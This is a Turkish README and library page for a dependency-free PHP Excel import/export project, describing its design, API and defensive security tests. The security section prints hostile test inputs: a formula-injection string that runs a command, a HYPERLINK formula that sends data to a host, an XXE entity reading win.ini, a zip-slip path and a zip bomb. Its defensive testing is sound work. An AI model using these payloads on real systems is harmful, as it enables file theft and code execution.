# Excel İçe / Dışa Aktarma

Bu kod örneği, PHP ile .xlsx dosyalarının hiçbir dış kütüphane kullanmadan (Composer, PhpSpreadsheet ve vendor klasörü olmadan) nasıl okunup yazılacağını gösterir. Excel dosyası aslında ZIP'lenmiş XML olduğu için, yerleşik ZipArchive ve XMLReader eklentileri yeterlidir. Örnek ayrıca içe aktarmada satır bazlı doğrulama, kaydetmeden önce önizleme ve tek transaction içinde yazma davranışını uygular.

- **Adres:** https://cilginyazilim.com/kutuphane/excel-ice-disa-aktarma
- **Kategori:** Veri İşleme
- **Seviye:** Orta
- **Teknoloji:** PHP 8, PDO, MySQL, Ajax, DataTables, ZipArchive, XMLReader, Bootstrap 5
- **Etiketler:** Ajax, DataTables, Excel, PDO, PHP
- **Gereksinim:** PHP 8.1+ (zip, xml, mbstring, gd eklentileri) · MySQL 5.7+ veya MariaDB 10.3+ · Apache/mod_rewrite
- **Kod deposu:** https://github.com/CilginYazilim/excel-import-export
- **Lisans:** MIT

## Öne Çıkan Özellikler

- Sıfır bağımlılık: Composer, PhpSpreadsheet ve vendor klasörü olmadan gerçek .xlsx üretir ve okur
- İçe aktarmadan önce önizleme: hangi satır yeni, hangisi güncellenecek, hangisi hatalı ve neden hatalı görünür
- Tek transaction: onaylanan satırların tamamı yazılır ya da hiçbiri yazılmaz
- Biçimlendirilmiş dışa aktarma: dondurulmuş başlık satırı, filtre okları, gerçek tarih ve sayı hücreleri
- Ekranda arama yapılmışsa yalnızca filtrelenen kayıtlar dışa aktarılır
- Doğru başlıkları ve iki örnek satırı içeren boş şablon indirme
- Excel'in dört klasik tuzağı çözülmüş: tarih seri numaraları, atlanan boş hücreler, sharedStrings havuzu ve değişken sayfa dosya adı

## Kullanım Senaryoları

- Muhasebe ekibinin aylık cari veya personel listesini sisteme toplu aktarması
- Stok sayım sonuçlarının Excel üzerinden toplu güncellenmesi
- Paylaşılan hostingte Composer çalıştırılamayan projelerde Excel desteği
- Rapor ekranlarındaki filtrelenmiş listenin biçimli Excel olarak indirilmesi
- Müşteriden veri toplarken doğru sütunlara sahip bir şablon dağıtılması

## Kurulum

1. Proje dosyalarını web köküne kopyalayın (örn. XAMPP'ta htdocs veya kendi web sunucunuzun kök dizini)
2. cy_excel.sql dosyasını içe aktarın — şemayı ve 50 örnek kaydı kendisi oluşturur
3. system/config.php içindeki DB_HOST, DB_NAME, DB_USER ve DB_PASS değerlerini düzenleyin (ya da aynı adlarda ortam değişkeni tanımlayın)
4. PHP tarafında zip, xml, mbstring ve gd eklentilerinin açık olduğunu doğrulayın
5. Canlıya alırken system/config.php içindeki APP_DEBUG değerini false yapın
6. Uygulamayı açın ve önce şablon indirip örnek bir dosyayla içe aktarmayı deneyin

## Ayrıntılı Anlatım

<img src="assets/images/logo.png" alt="Çılgın Yazılım" width="90">

## Excel Dışa / İçe Aktarma

**Sıfır bağımlılıklı** PHP ile gerçek `.xlsx` üretme ve okuma.
Composer yok, PhpSpreadsheet yok, `vendor/` klasörü yok.

Önizlemeli toplu yükleme · Satır satır doğrulama · Transaction güvenliği

[cilginyazilim.com](https://cilginyazilim.com) · MIT Lisansı · [🇬🇧 English](README.en.md)

![Uygulama ekran görüntüsü](assets/images/screenshot.png)

---

### Bu proje ne yapıyor?

İki yönlü bir Excel köprüsü:

| Yön | Ne yapar |
|-----|----------|
| **Dışa aktarma** | Veritabanındaki kayıtları biçimlendirilmiş `.xlsx` olarak indirir. Başlık satırı dondurulmuş, filtre okları açık, tarihler gerçek tarih, maaşlar gerçek sayı olarak gelir. Ekranda arama yapılmışsa yalnızca filtrelenen kayıtlar aktarılır. |
| **İçe aktarma** | Yüklenen `.xlsx` okunur, her satır doğrulanır ve **kaydetmeden önce** size gösterilir. Onaylarsanız tek bir transaction içinde yazılır. |

Ek olarak **şablon indirme**: doğru başlıklara sahip, iki örnek satır içeren boş bir dosya. Hatalı yüklemelerin büyük kısmı daha başlamadan biter.

#### İçe aktarma önizlemesi

Kaydetmeden önce her satırın ne olacağını görürsünüz — hangisi yeni, hangisi güncellenecek, hangisi zaten aynı, hangisi hatalı ve **neden** hatalı:

![İçe aktarma önizlemesi](assets/images/screenshot-import.png)

---

### Sıfır bağımlılık nasıl çalışıyor? (projenin en öğretici yanı)

`.xlsx` sihirli bir ikili format **değildir** — ZIP'lenmiş XML dosyalarıdır. Herhangi bir Excel dosyasının uzantısını `.zip` yapıp açın, içinde şunları görürsünüz:

```
[Content_Types].xml          → paketteki her parça ne türdür
_rels/.rels                  → paketin ana parçası hangisidir
xl/workbook.xml              → sayfa listesi
xl/_rels/workbook.xml.rels   → sheet1 hangi dosyada duruyor
xl/styles.xml                → yazı tipi, dolgu, sayı biçimleri
xl/worksheets/sheet1.xml     → ASIL VERİ (satırlar ve hücreler)
```

`XlsxWriter` tam olarak bu altı dosyayı üretip `ZipArchive` ile paketler. `XlsxReader` ise paketi açıp `XMLReader` ile geri okur. Gereken tek şey PHP'nin yerleşik `zip`, `xml` ve `mbstring` eklentileridir (XAMPP'ta hazır gelir).

Tek bir hücre, dosyanın içinde şuna benzer:

```xml
<c r="B2" s="2" t="inlineStr"><is><t>Evren</t></is></c>
```

`r` hücre adresi, `s` stil numarası, `t` hücre türü. Metinleri `sharedStrings.xml` havuzu yerine `inlineStr` ile hücrenin içine yazıyoruz: dosya biraz büyür ama kod çok daha anlaşılır olur. Bu örnek için doğru takas.

**Ne zaman PhpSpreadsheet'e geçmelisiniz?** Formül, grafik, çoklu sayfa, hücre birleştirme veya `.xls`/`.ods` desteği gerekiyorsa. Buradaki sınıfların amacı **veri alışverişidir**, rapor tasarımı değil.

---

### Çözülen dört klasik tuzak

Excel okuyan kodların neredeyse tamamı bunlardan en az birinde takılır:

**1. Tarihler metin değil, sayıdır.**
`15.08.2026` hücrede `46249` olarak durur. Bir sayının tarih mi yoksa gerçekten sayı mı olduğu ancak **hücrenin stiline** bakılarak anlaşılır. `XlsxReader`, `styles.xml` içindeki sayı biçimlerini çözümleyip "hangi stil tarih gösteriyor" listesini çıkarır. Excel'in ünlü 1900 artık yıl hatası da telafi edilir (başlangıç 30 Aralık 1899 kabul edilerek).

**2. Boş hücreler dosyada hiç yazmaz.**
B sütunu boşsa `<c r="B2">` etiketi **bulunmaz**; satır A'dan C'ye atlar. Hücreleri sırayla okursanız sütunlar kayar. Çözüm: her hücrenin `r` özniteliğindeki adrese (`C7`) bakıp sütun numarasını hesaplamak.

**3. Metinler hücrede durmaz.**
Excel tekrar eden metinleri `sharedStrings.xml` havuzunda tutar; hücrede yalnızca havuz sıra numarası yazar. Ayrıca bir kelimenin bir kısmı kalınsa metin `<r>` parçalarına bölünür ve tek `<t>` okumak yetmez.

**4. Sayfanın adı `sheet1.xml` olmak zorunda değildir.**
Google Sheets ve LibreOffice farklı adlar üretir. Doğru yol: `workbook.xml`'deki ilk sayfanın `r:id`'sini alıp `workbook.xml.rels` içinde hedefini bulmak.

---

### Kurulum

```bash
# 1. Dosyaları web köküne koyun
cd C:/xampp/htdocs
git clone https://github.com/CilginYazilim/excel-import-export.git

# 2. Veritabanını içe aktarın (cy_excel şemasını kendi oluşturur)
mysql -u root -p < excel-import-export/cy_excel.sql
```

Ardından: `http://localhost/excel-import-export/`

Farklı bir veritabanı kullanacaksanız `system/config.php` içindeki `DB_*` satırlarını düzenleyin veya sunucunuzda `DB_HOST`, `DB_NAME`, `DB_USER`, `DB_PASS` ortam değişkenlerini tanımlayın.

**Canlıya alırken:** `system/config.php` içindeki `APP_DEBUG` değerini `false` yapın.

**Gereksinimler:** PHP 8.1+ (`zip`, `xml`, `mbstring`, `gd` eklentileri) · MySQL 5.7+ / MariaDB 10.3+

---

### Hangi dosya ne işe yarıyor?

```
excel-import-export/
├── index.php                   ← Sayfa iskeleti (258 satır)
├── cy_excel.sql                ← Veritabanı kurulumu (cy_excel şeması + 50 örnek kayıt)
├── system/
│   ├── config.php              ← Ayarlar + PDO bağlantısı + oturum
│   ├── function.php            ← Yardımcılar, doğrulayıcılar, SÜTUN TANIMLARI
│   ├── ajax.php                ← JSON uç noktası (CRUD + önizleme + kaydet)
│   ├── export.php              ← Dosya indiren uç nokta
│   ├── views/                  ← Modal pencereler (parça şablonlar)
│   │   ├── modal-user.php      ← Ekleme / düzenleme formu
│   │   ├── modal-detail.php    ← Kayıt detayı
│   │   ├── modal-delete.php    ← Silme onayı
│   │   └── modal-import.php    ← İçe aktarma sihirbazı
│   └── Excel/
│       ├── XlsxWriter.php      ← ZipArchive ile .xlsx üretir
│       └── XlsxReader.php      ← XMLReader ile .xlsx okur
├── assets/
│   ├── css/cilginyazilim.css   ← Marka tasarım kalıbı (ortak)
│   ├── css/style.css           ← Yalnızca bu sayfaya özel stiller
│   └── js/app.js               ← Tüm arayüz davranışı
└── upload/                     ← Profil görselleri (.htaccess ile korumalı)
```

#### Öne çıkan fonksiyonlar

| Fonksiyon | Dosya | Ne yapar |
|-----------|-------|----------|
| `excel_columns()` | function.php | **Tek doğruluk kaynağı.** Hangi sütun, hangi başlıkla, hangi türde, zorunlu mu — hepsi burada |
| `excel_header_aliases()` | function.php | `E-Posta`, `eposta`, `mail`, `E-POSTA ADRESİ` → hepsi `email` alanına eşlenir |
| `normalize_header()` | function.php | Başlığı sadeleştirir: Türkçe harfleri ASCII'ye indirir, boşluk/tire/parantez atar |
| `validate_maas()` | function.php | `92.500,75`, `92500.75`, `92.500,75 ₺` — üçünü de kabul eder |
| `user_row_changed()` | function.php | Satır gerçekten değişti mi? Değişmediyse `UPDATE` hiç çalıştırılmaz |
| `find_existing_users()` | ajax.php | N+1 sorgu problemini çözer: 500'erlik gruplar hâlinde tek sorgu |
| `needsFormulaGuard()` | XlsxWriter.php | Formül enjeksiyonuna karşı `quotePrefix` koruması (aşağıda) |

#### Yeni bir sütun eklemek

Sütun tanımları tek yerdedir: `system/function.php` içindeki `excel_columns()`. Üç adım:

1. `cy_excel.sql` dosyasına sütunu ekleyin
2. `excel_columns()` dizisine bir satır ekleyin
3. `validate_import_row()` içine doğrulamasını yazın

Dışa aktarma, şablon, başlık eşleştirme ve önizleme tablosu bu tanımı okuduğu için gerisi kendiliğinden çalışır.

---

### İçe aktarma nasıl çalışıyor?

```
Dosya seç
   ↓
[1] import_preview  ── veritabanına HİÇBİR ŞEY yazmaz
   │   · dosya gerçekten geçerli bir xlsx paketi mi?
   │   · satır sayısı sınırı aşıyor mu? (aşıyorsa REDDEDİLİR, kırpılmaz)
   │   · başlıklar alan adlarıyla eşleşiyor mu?
   │   · her satır tek tek doğrulanır
   │   · her satır MEVCUT kayıtla karşılaştırılır:
   │       eklenecek mi / güncellenecek mi / değişiklik yok mu?
   │   · yazılacak satırlar OTURUMDA saklanır
   ↓
Önizleme tablosu: yeşil = yeni, mavi = güncelleme,
                  gri = değişiklik yok, kırmızı = hatalı
   ↓
[2] import_commit  ── tek transaction, hepsi ya da hiçbiri
```

**Başlıklar esnektir.** Sütun sırası önemli değildir; başlık metnine bakılır. `E-Posta`, `eposta`, `mail`, `E-POSTA ADRESİ` — hepsi tanınır. Tanınmayan sütunlar (`#`, `Kayıt Tarihi`, `Notlar`) sessizce yok sayılır. Böylece dışa aktardığınız dosyayı düzenleyip doğrudan geri yükleyebilirsiniz.

**Anahtar e-postadır.** Aynı e-postaya sahip kayıt varsa güncellenir, yoksa eklenir. Güncellemede **profil görseline ve kayıt tarihine dokunulmaz** — Excel'de bu bilgiler yoktur, bir içe aktarma yüzünden kaybolmaları kabul edilemez.

**Değişmemiş satırlar sessizce atlanır.** Bir satırın tüm alanları veritabanındakiyle birebir aynıysa "güncellenecek" diye işaretlenmez ve `UPDATE` sorgusu hiç çalıştırılmaz.

**Türkçe biçimler kabul edilir.** `105.000,50` ve `105000.50` aynı sayıdır; `04.03.2019` ve `2019-03-04` aynı tarihtir. `31.02.2019` gibi var olmayan tarihler reddedilir.

#### Sütunlar

| Sütun | Zorunlu | Not |
|-------|---------|-----|
| Ad | ✔ | En az 2 karakter, yalnızca harf |
| Soyad | ✔ | |
| E-posta | ✔ | Benzersiz olmalı; içe aktarmanın anahtarıdır |
| Departman | | Boş bırakılabilir |
| Maaş | | Boş bırakılabilir |
| Başlama Tarihi | | Boş bırakılabilir |

---

### API uç noktaları

Hepsi **POST** kabul eder ve **CSRF anahtarı** ister (`csrf_token` alanı veya `X-CSRF-Token` başlığı).

#### `system/ajax.php` — JSON döndürür

| `action` | Parametreler | Döndürür |
|----------|--------------|----------|
| `list` | DataTables protokolü (`draw`, `start`, `length`, `order`, `search`) | `{draw, recordsTotal, recordsFiltered, data[]}` |
| `fetch` | `id` | Tek kaydın ham + biçimlenmiş alanları |
| `add` | `name`, `surname`, `email`, `departman`, `maas`, `baslama_tarihi`, `image_user` | `{success, description, id}` |
| `edit` | `user_id` + yukarıdakiler | `{success, description, id}` |
| `delete` | `id` | `{success, description, id}` |
| `import_preview` | `import_file` (dosya) | `{token, columns, fields, rows[], summary}` |
| `import_commit` | `token` | `{success, description, inserted, updated, skipped}` |

#### `system/export.php` — dosya döndürür

| Parametre | Değer | Sonuç |
|-----------|-------|-------|
| `export` | `data` | Kayıtlar `.xlsx` olarak iner (`search` verilirse filtreli) |
| `export` | `template` | Boş şablon iner |

#### HTTP durum kodları

| Kod | Anlamı |
|-----|--------|
| `200` | Başarılı |
| `400` | Geçersiz istek (hatalı ID gibi) |
| `403` | CSRF anahtarı geçersiz / oturum düştü |
| `404` | Kayıt bulunamadı |
| `405` | POST dışı istek |
| `422` | Doğrulama hatası (form alanı veya geçersiz dosya) |
| `500` | Sunucu hatası |

> **Neden 419 yok?** "419 Page Expired" standart olmayan bir koddur. Bu kurulumda ölçtük: Apache tanımadığı 419'u sessizce **500**'e çeviriyordu; yani "oturumun düştü" demek isterken tarayıcıya "sunucu çöktü" diyorduk. Doğru karşılık `403`'tür.

---

### Veritabanı şeması

`cy_excel` veritabanı, tek tablo:

```sql
CREATE TABLE `users` (
  `id`             INT UNSIGNED NOT NULL AUTO_INCREMENT,
  `name`           VARCHAR(150) NOT NULL,
  `surname`        VARCHAR(150) NOT NULL,
  `email`          VARCHAR(190) NOT NULL,      -- içe aktarmanın ANAHTARI
  `departman`      VARCHAR(100) NOT NULL DEFAULT '',
  `maas`           DECIMAL(10,2) DEFAULT NULL, -- FLOAT DEĞİL: para için DECIMAL
  `baslama_tarihi` DATE DEFAULT NULL,
  `image`          VARCHAR(191) NOT NULL DEFAULT '',
  `tarih`          TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `uniq_users_email` (`email`),
  KEY `idx_users_name` (`name`),
  KEY `idx_users_surname` (`surname`),
  KEY `idx_users_departman` (`departman`),
  KEY `idx_users_tarih` (`tarih`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
```

Üç karar, üç gerekçe:

- **`DECIMAL(10,2)`, `FLOAT` değil.** İkili kayan noktalı sayı `0.1 + 0.2 = 0.30000000000000004` üretir ve muhasebe kayıtlarını bozar.
- **`email` üzerinde `UNIQUE`.** "Varsa güncelle, yoksa ekle" davranışının dayandığı kural budur. 190 karakter sınırı utf8mb4 + InnoDB indeks bayt limiti yüzündendir (190 × 4 = 760 bayt).
- **`image` alanı örnek veride boştur.** Depoda örnek görsel yok; dosya adı yazsaydık her yeni kurulumda "veritabanı fotoğraf var diyor ama disk boş" tutarsızlığı çıkardı. Boşken uygulama baş harf rozeti gösterir.

---

### Güvenlik katmanları ve **neden** oradalar

Her madde ölçülerek doğrulanmıştır; ölçüm sonucu yazılıdır.

#### Excel formül enjeksiyonu (`quotePrefix`)

Bir hücreye `=cmd|'/c calc'!A0` ya da `=HYPERLINK("http://x/?"&A1,"tıkla")` yazılırsa ne olur?

**Ölçüm:** Bu değeri içe aktarma ile `Departman` alanına yazdık, dışa aktardık ve üretilen paketi açıp inceledik. Hücre şöyle yazılıyordu:

```xml
<c r="E52" s="2" t="inlineStr"><is><t>=cmd|&apos;/c calc&apos;!A0</t></is></c>
```

Yani `t="inlineStr"` — **metin** hücresi. Dosyada hiç `<f>` (formül) etiketi yok. Bir `.xlsx` hücresi ancak `<f>` varsa formüldür; dolayısıyla **dosya Excel'de açıldığında formül çalışmaz.** CSV'deki klasik "dosyayı açtım, komut çalıştı" senaryosu burada yoktur.

**Peki neden yine de koruma eklendi?** Çünkü metin hâlâ formül söz dizimindedir ve Excel bir hücrenin içeriğini *yeniden girildiğinde* baştan yorumlar. Üç sıradan davranış onu canlı formüle çevirir: hücreye çift tıklayıp Enter'lamak, sütunu kopyalayıp yapıştırmak, veriyi ileride CSV olarak dışa aktarmak (CSV'de `<f>` ayrımı yoktur).

**Çözüm:** `=`, `+`, `-`, `@`, sekme veya satır başı ile başlayan metin hücrelerine OOXML'in `quotePrefix="1"` stili verilir. Bu Excel'e "kullanıcı bu değeri baştan metin olarak girdi" der.

Yaygın tavsiye olan "başına tek tırnak ekle" yöntemi **bilerek kullanılmadı**: `.xlsx`'te apostrof hücre metninin parçası değil, arayüzün gösterim kuralıdır. Gerçek bir apostrof yazsaydık kullanıcı hücrede `'=cmd...` görürdü — yani veriyi bozardık.

**Meşru veri bozulmuyor** (ölçüldü): `-1250.75` ve `+90 555 111 22 33` değerleri korumayla birlikte ekranda aynen görünür, yaz-oku turunda bayt bayt korunur. Para ve tarih sütunları zaten `money`/`date` türünden geçtiği için bu yola hiç girmez.

#### XXE (harici varlık) saldırısı

**Ölçüm:** İçine `<!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]>` gömülü iki ayrı `.xlsx` hazırladık — biri `sheet1.xml`, diğeri `sharedStrings.xml` üzerinden. Sonuç: birincisi "bozuk XML" diye reddedildi, ikincisinde varlık **boş metne** çözüldü. `win.ini` içeriği hiçbir yere sızmadı.

Koruma: `simplexml_load_string()` çağrısında `LIBXML_NONET` kullanılır ve `LIBXML_NOENT` **asla** eklenmez (o bayrak açığı geri açar). PHP 8'de dış varlık yükleme zaten varsayılan olarak kapalıdır; bu ikinci kilittir.

#### Zip slip (`../` yollu arşiv)

**Ölçüm:** İçinde `../../../../xampp/htdocs/excel-import-export/upload/slipped.php` adlı bir girdi bulunan `.xlsx` hazırlayıp yükledik. Dosya diske **yazılmadı**.

Sebep tasarımsaldır: `XlsxReader` arşivi hiçbir zaman diske açmaz (`extractTo()` çağrısı yoktur). Yalnızca `getFromName()` ve `zip://` akışı kullanır — yani paket içindeki yol adları hiçbir zaman dosya sistemi yolu olarak yorumlanmaz.

#### Zip bombası

Paket açılmadan önce arşivin bildirdiği toplam açılmış boyuta bakılır; sınırı aşan reddedilir.

**Ölçüm:** Sınır 64 MB iken, 169 KB'lık bir yükleme 55 MB'lık bir `sharedStrings.xml` açıyor ve PHP'nin tepe bellek kullanımını 88 MB'a çıkarıyordu — yaklaşık 500 kat büyüme. Ölümcül değildi ama gereksizdi: içe aktarma sınırı zaten 5 MB ve 2000 satır, gerçek bir 10.000 satırlık dosya ise yalnızca 313 KB. Sınır **24 MB**'a çekildi ve bomba dosyası artık `422` ile reddediliyor.

#### Yükleme klasörü (`upload/.htaccess`)

**Ölçüm (önce):** `.php` ve `.phtml` istekleri `403` dönüyordu (iyi), **ama** `/upload/x.gif` ve `/upload/x.html` istekleri `200` dönüyor ve **tek bir güvenlik başlığı taşımıyordu**. İçine HTML/JS gömülmüş bir "görsel", tarayıcı MIME tahmini yaparsa sitenin kendi alan adında betik çalıştırabilirdi (depolanmış XSS).

**Sonra:** Aşağıdaki katmanlar eklendi ve tekrar ölçüldü.

| Katman | Neden |
|--------|-------|
| `<FilesMatch>` betik uzantısı reddi | Diğer katmanlar atlatılıp bir `.php` buraya yazılsa bile çalıştırılamaz. Liste uzun çünkü hangi uzantının o sunucuda yorumlandığını bilemeyiz |
| `php_flag engine off` (mod_php koşullu) | Yalnızca mod_php'de çalışır; PHP-FPM'de sessizce yok sayılır — bu yüzden tek başına yeterli sayılmaz |
| `Options -Indexes -ExecCGI` | Dosya adları rastgeledir; tek koruma URL'nin tahmin edilemezliğidir. Listeleme açıksa o koruma anlamsızlaşır |
| `X-Content-Type-Options: nosniff` | Tarayıcı "bu aslında HTML" diye tahmin edip görseli sayfa olarak çalıştırmasın |
| `Content-Security-Policy` (`sandbox`) | İkinci kemer: yanıt yine de HTML sayılırsa bile betik çalışmaz; `sandbox` belgeyi kaynaksız kum havuzuna alır, çerezlere erişemez |
| `X-Frame-Options: DENY` | Clickjacking ve görsel tabanlı oltalama |
| `Referrer-Policy: no-referrer` | Rastgele dosya adları dış sitelere referans olarak sızmasın |

**Doğrulama (sonra):** `.php`, `.PHP`, `.php5`, `.phtml`, `php.` ve `x.php/y.png` (path-info) istekleri **403**; meşru `.png` hâlâ **200 `image/png`** ve tüm güvenlik başlıklarını taşıyor.

#### Diğer katmanlar

- **CSRF** — `list` dahil **veri döndüren her uç nokta** doğrulanır. (Önceden `list` korumasızdı; belge "her istek" derken kod aksini yapıyordu. Tarayıcı CORS yüzünden yanıtı zaten okuyamaz, yani sızıntı değildi — ama kuralın istisnası olmamalı.) Karşılaştırma `hash_equals()` ile sabit sürelidir.
- **Dosya türü içerikten doğrulanır** — Uzantı ve MIME yalnızca ön elemedir. Asıl kontrol: dosya gerçekten geçerli bir ZIP mi ve içinde `xl/workbook.xml` var mı? **Ölçüldü:** `.php` dosyası sahte `.xlsx` adı ve sahte MIME ile yüklendiğinde `422` ile reddedilir.
- **Görsel yükleme** — Tür `getimagesize()` ile içerikten doğrulanır; yeni ad ve uzantı **bizim** beyaz listemizden gelir, kullanıcının gönderdiği addan değil. Böylece `virus.php.png` diske o adla hiç yazılamaz. Ad `random_bytes(16)` ile rastgeledir.
- **Satır sınırı sessizce kırpmaz** — **Ölçülen hata:** 10.000 satırlık dosya, hiçbir uyarı vermeden 2000 satıra düşürülüyor ve kalan 8.000 satır sessizce kayboluyordu; üstelik kullanıcı yeşil "tamamlandı" mesajı görüyordu. Artık sınırın 1 fazlası okunup taşma tespit edilir ve dosya **reddedilir** — sessiz veri kaybı, açık bir hatadan çok daha kötüdür.
- **Transaction** — **Ölçüldü:** 500 satırlık bir içe aktarmanın ortasında veritabanı hatası tetiklendi; kayıt sayısı işlem öncesindeki değere (50) geri döndü, tek bir satır bile kalmadı.
- **Önizleme verisi sunucuda tutulur** — İstemciye gönderilip geri alınsaydı, doğrulamayı atlamak isteyen biri arada JSON'u düzenleyebilirdi.
- **Tek kullanımlık önizleme** — Kaydedilen parti oturumdan silinir; aynı önizleme ikinci kez onaylanamaz.
- **SQL Injection** — Her sorgu prepared statement kullanır. Sıralama sütunu bind edilemediği için beyaz listeden geçirilir.
- **XSS** — Sunucuda `e()` (htmlspecialchars), istemcide her hücre `.text()` ile doldurulur — asla `.html()`.
- **Parça şablonlar doğrudan çağrılamaz** — **Ölçülen sızıntı:** `system/views/*.php` doğrudan istendiğinde PHP uyarısı basıyor ve uyarı metninde sunucunun tam dosya yolu (`C:\xampp\htdocs\...`) görünüyordu. Artık hem `CY_APP` sabiti hem `views/.htaccess` engelliyor (`403`).

---

### Performans (ölçülen)

| İşlem | Sonuç |
|-------|-------|
| 10.000 satırlık `.xlsx` okuma (`XlsxReader`, CLI) | **5,1 sn**, tepe bellek **8 MB** |
| 10.000 satırlık `.xlsx` üretme (`XlsxWriter`, CLI) | tepe bellek **18 MB**, dosya 313 KB |
| 1.900 satırlık içe aktarma önizlemesi (HTTP, uçtan uca) | **0,94 sn** |

Bellek düşüktür çünkü `XlsxReader` tüm belgeyi belleğe almaz: `XMLReader` ile imleç gibi ilerler ve yalnızca o anki satırı `SimpleXML`'e verir. İki yaklaşımın iyi yanı birleştirilmiştir — düşük bellek + okunaklı kod.

Varsayılan sınır 2.000 satırdır (`IMPORT_MAX_ROWS`). Sebebi: doğrulanmış satırlar onay adımına kadar oturumda tutulur. Daha büyük dosyalarla çalışacaksanız oturum yerine geçici bir tabloya yazın.

---

### Özelleştirme

| Ne | Nerede |
|----|--------|
| Veritabanı bilgileri | `system/config.php` → `DB_*` sabitleri (veya ortam değişkenleri) |
| Yükleme boyut sınırları | `config.php` → `UPLOAD_MAX_BYTES`, `IMPORT_MAX_BYTES` |
| Satır sınırı | `config.php` → `IMPORT_MAX_ROWS` |
| İzin verilen görsel türleri | `config.php` → `ALLOWED_IMAGE_TYPES` |
| Dışa aktarma dosya adı | `config.php` → `EXPORT_FILENAME_PREFIX` |
| Sütunlar (ekle/çıkar/yeniden adlandır) | `function.php` → `excel_columns()` |
| Başlık eş anlamlıları | `function.php` → `excel_header_aliases()` |
| Excel renkleri / stilleri | `XlsxWriter.php` → `stylesXml()` |
| Sayfaya özel görünüm | `assets/css/style.css` |

> **`assets/css/cilginyazilim.css` dosyasına dokunmayın.** O, projeler arası ortak marka tasarım kalıbıdır; sayfaya özel her şey `style.css` içine yazılır.

---

### Örnek kullanım alanları

- **İK / personel listesi** — Bordro sisteminden gelen Excel'i toplu yükleme, güncel listeyi dışa aktarma (bu depodaki örnek tam olarak budur).
- **Ürün kataloğu** — Tedarikçinin gönderdiği fiyat listesini içe aktarma. `email` yerine `stok_kodu` anahtar yapılır: `excel_columns()` ve `UNIQUE` indeks değiştirilir, gerisi aynı kalır.
- **Öğrenci / not girişi** — Öğretmenin doldurduğu şablonu yükleme. Önizleme adımı burada kritiktir: yanlış sınıfın dosyası fark edilmeden kaydedilmez.
- **Muhasebe / cari hesap aktarımı** — `DECIMAL` kullanımı ve Türkçe sayı biçimi desteği doğrudan işe yarar.
- **Toplu e-posta listesi temizliği** — Geçersiz adresler önizlemede kırmızı görünür ve **aktarılmaz**; liste kirlenmez.
- **Periyodik veri senkronizasyonu** — "Değişmemiş satırı güncelleme" davranışı sayesinde aynı dosya her gün yüklenebilir; yalnızca gerçek değişiklikler yazılır.

---

### Lisans

MIT — dilediğiniz gibi indirip kullanabilirsiniz.
Telif: **Çılgın Yazılım** ([cilginyazilim.com](https://cilginyazilim.com))

Katkı için depoyu çatallayın ve pull request gönderin:
[github.com/CilginYazilim/excel-import-export](https://github.com/CilginYazilim/excel-import-export)

## Sık Sorulan Sorular

### Excel dosyası okumak için PhpSpreadsheet gerekiyor mu?

Hayır. Bu örnek .xlsx dosyalarını PHP'nin yerleşik zip ve XMLReader eklentileriyle okuyup yazıyor; Composer, vendor klasörü ve dış kütüphane yok. Formül, grafik veya çoklu sayfa gerekiyorsa PhpSpreadsheet'e geçmelisiniz — buradaki sınıflar veri alışverişi için tasarlandı.

### Excel'deki tarihler neden sayı olarak geliyor?

.xlsx içinde 15.08.2026 gibi bir tarih hücrede 46249 sayısı olarak durur. Bir sayının tarih mi yoksa gerçekten sayı mı olduğu ancak hücrenin stiline bakılarak anlaşılır. XlsxReader, styles.xml içindeki sayı biçimlerini çözümleyip hangi stillerin tarih gösterdiğini çıkarır ve Excel'in 1900 artık yıl hatasını da telafi eder.

### İçe aktarma sırasında sütunlar neden kayıyor?

Excel boş hücreleri dosyaya hiç yazmaz: B sütunu boşsa <c r="B2"> etiketi bulunmaz ve satır A'dan C'ye atlar. Hücreleri sırayla okursanız sütunlar kayar. Doğru yol, her hücrenin r özniteliğindeki adrese (C7 gibi) bakıp sütun numarasını hesaplamaktır — bu örnekte yapılan da budur.

### Yüklenen dosya hatalıysa veritabanına yarım kayıt yazılır mı?

Hayır. Yüklenen dosya önce okunur, her satır doğrulanır ve kaydetmeden önce önizleme ekranında gösterilir: hangi satır yeni, hangisi güncellenecek, hangisi hatalı ve neden hatalı. Onayladığınızda tüm satırlar tek bir transaction içinde yazılır; bir hata olursa hiçbiri yazılmaz.

### Farklı bir veritabanı kullanabilir miyim?

Evet. system/config.php içindeki DB_HOST, DB_NAME, DB_USER ve DB_PASS satırlarını düzenleyin ya da aynı adlarda ortam değişkeni tanımlayın; kod önce ortam değişkenlerine bakar. Canlıya alırken aynı dosyadaki APP_DEBUG değerini false yapmayı unutmayın.

### Google Sheets veya LibreOffice ile üretilen dosyalar da okunuyor mu?

Evet. Bu araçlar sayfa dosyasını sheet1.xml dışında adlarla üretebiliyor. Okuyucu sabit bir dosya adı varsaymak yerine workbook.xml içindeki ilk sayfanın r:id değerini alıp hedefini workbook.xml.rels üzerinden çözüyor.

